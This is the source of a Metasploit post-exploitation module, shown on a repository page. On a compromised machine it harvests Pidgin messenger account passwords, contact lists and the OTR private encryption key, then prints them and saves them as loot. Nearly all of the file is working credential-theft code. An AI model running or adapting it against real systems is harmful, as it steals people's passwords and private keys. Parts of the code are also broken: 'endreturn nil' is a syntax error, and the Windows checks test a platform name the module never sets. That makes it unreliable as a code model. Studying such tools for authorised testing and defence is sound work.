Files
metasploit-gs/modules/post/multi/gather/pidgin_cred.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

325 lines
7.9 KiB
Ruby

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/file'
require 'msf/core/post/windows/user_profiles'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::UserProfiles
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
'Description' => %q{
This module will collect credentials from the Pidgin IM client if it is installed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bannedit', # post port, added support for shell sessions
'Carlos Perez <carlos_perez[at]darkoperator.com>' # original meterpreter script
],
'Version' => '$Revision$',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
'SessionTypes' => ['shell', 'meterpreter' ]
))
register_options(
[
OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
], self.class)
end
# TODO add support for collecting logs
def run
paths = []
case session.platform
when /unix|linux|bsd/
@platform = :unix
paths = enum_users_unix
when /osx/
@platform = :osx
paths = enum_users_unix
when /win/
@platform = :win
profiles = grab_user_profiles()
profiles.each do |user|
next if user['AppData'] == nil
pdir = check_pidgin(user['AppData'])
paths << pdir if pdir
end
else
print_error "Unsupported platform #{session.platform}"
return
end
if paths.nil? or paths.empty?
print_status("No users found with a .purple directory")
return
end
get_pidgin_creds(paths)
end
def enum_users_unix
if @platform == :osx
home = "/Users/"
else
home = "/home/"
end
if got_root?
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
userdirs << "/root\n"
else
userdirs = session.shell_command("ls #{home}#{whoami}/.purple")
if userdirs =~ /No such file/i
return
else
print_status("Found Pidgin profile for: #{whoami}")
return ["#{home}#{whoami}/.purple"]
end
end
paths = Array.new
userdirs.each_line do |dir|
dir.chomp!
next if dir == "." || dir == ".."
dir = "#{home}#{dir}" if dir !~ /root/
print_status("Checking for Pidgin profile in: #{dir}")
stat = session.shell_command("ls #{dir}/.purple")
next if stat =~ /No such file/i
paths << "#{dir}/.purple"
end
return paths
end
def check_pidgin(purpledir)
path = ""
print_status("Checking for Pidgin profile in: #{purpledir}")
session.fs.dir.foreach(purpledir) do |dir|
if dir =~ /\.purple/
if @platform == :win
print_status("Found #{purpledir}\\#{dir}")
path = "#{purpledir}\\#{dir}"
else
print_status("Found #{purpledir}/#{dir}")
path = "#{purpledir}/#{dir}"
end
return path
end
end
return nil
endreturn nil
end
def get_pidgin_creds(paths)
case paths
when /#{@user}\\(.*)\\/
sys_user = $1
when /home\/(.*)\//
sys_user = $1
end
data = ""
credentials = Rex::Ui::Text::Table.new(
'Header' => "Pidgin Credentials",
'Indent' => 1,
'Columns' =>
[
"System User",
"Username",
"Password",
"Protocol",
"Server",
"Port"
])
buddylists = Rex::Ui::Text::Table.new(
'Header' => "Pidgin Contact List",
'Indent' => 1,
'Columns' =>
[
"System User",
"Buddy Name",
"Alias",
"Protocol",
"Account"
])
paths.each do |path|
print_status("Reading accounts.xml file from #{path}")
if session.type == "shell"
type = :shell
data = session.shell_command("cat #{path}/accounts.xml")
else
type = :meterp
accounts = session.fs.file.new("#{path}\\accounts.xml", "rb")
until accounts.eof?
data << accounts.read
end
end
creds = parse_accounts(data)
if datastore['CONTACTS']
blist = ""
case type
when :shell
blist = session.shell_command("cat #{path}/blist.xml")
when :meterp
buddyxml = session.fs.file.new("#{path}/blist.xml", "rb")
until buddyxml.eof?
blist << buddyxml.read
end
end
buddies = parse_buddies(blist)
end
creds.each do |cred|
credentials << [sys_user, cred['user'], cred['password'], cred['protocol'], cred['server'], cred['port']]
end
if buddies
buddies.each do |buddy|
buddylists << [sys_user, buddy['name'], buddy['alias'], buddy['protocol'], buddy['account']]
end
end
#Grab otr.private_key
otr_key = ""
if session.type == "shell"
otr_key = session.shell_command("cat #{path}/otr.private_key")
else
key_file = "#{path}/otr.private_key"
otrkey = session.fs.file.stat(key_file) rescue nil
if otrkey
f = session.fs.file.new(key_file, "rb")
until f.eof?
otr_key << f.read
end
else
otr_key = "No such file"
end
end
if otr_key !~ /No such file/
print_status("OTR Key: #{otr_key.to_s}")
store_loot("otr.private_key", "text/plain", session, otr_key.to_s, "otr.private_key", "otr.private_key")
end
end
if datastore['CONTACTS']
store_loot("pidgin.contacts", "text/plain", session, buddylists.to_csv, "pidgin_contactlists.txt", "Pidgin Contacts")
end
store_loot("pidgin.creds", "text/plain", session, credentials.to_csv, "pidgin_credentials.txt", "Pidgin Credentials")
end
def parse_accounts(data)
creds = []
doc = REXML::Document.new(data).root
doc.elements.each("account") do |sub|
account = {}
if sub.elements['password']
account['password'] = sub.elements['password'].text
else
account['password'] = "<unknown>"
end
account['protocol'] = sub.elements['protocol'].text rescue "<unknown>"
account['user'] = sub.elements['name'].text rescue "<unknown>"
account['server'] = sub.elements['settings'].elements["setting[@name='server']"].text rescue "<unknown>"
account['port'] = sub.elements['settings'].elements["setting[@name='port']"].text rescue "<unknown>"
creds << account
print_status("Collected the following credentials:")
print_status(" Server: %s:%s" % [account['server'], account['port']])
print_status(" Protocol: %s" % account['protocol'])
print_status(" Username: %s" % account['user'])
print_status(" Password: %s" % account['password'])
print_line("")
end
return creds
end
def parse_buddies(data)
buddies = []
doc = REXML::Document.new(data).root
doc.elements['blist'].elements.each('group') do |group|
group.elements.each('contact') do |bcontact|
contact = {}
contact['name'] = bcontact.elements['buddy'].elements['name'].text rescue "<unknown>"
contact['account'] = bcontact.elements['buddy'].attributes['account'] rescue "<unknown>"
contact['protocol'] = bcontact.elements['buddy'].attributes['proto'] rescue "<unknown>"
if bcontact.elements['buddy'].elements['alias']
contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
else
contact['alias'] = "<unknown>"
end
buddies << contact
print_status("Collected the following contacts:")
print_status(" Buddy Name: %s" % contact['name'])
print_status(" Alias: %s" % contact['alias'])
print_status(" Protocol: %s" % contact['protocol'])
print_status(" Account: %s" % contact['account'])
print_line("")
end
end
return buddies
end
def got_root?
case @platform
when :windows
if session.sys.config.getuid =~ /SYSTEM/
return true
else
return false
end
else # unix, bsd, linux, osx
ret = whoami
if ret =~ /root/
return true
else
return false
end
end
end
def whoami
if @platform == :windows
session.fs.file.expand_path("%USERNAME%")
else
session.shell_command("whoami").chomp
end
end
end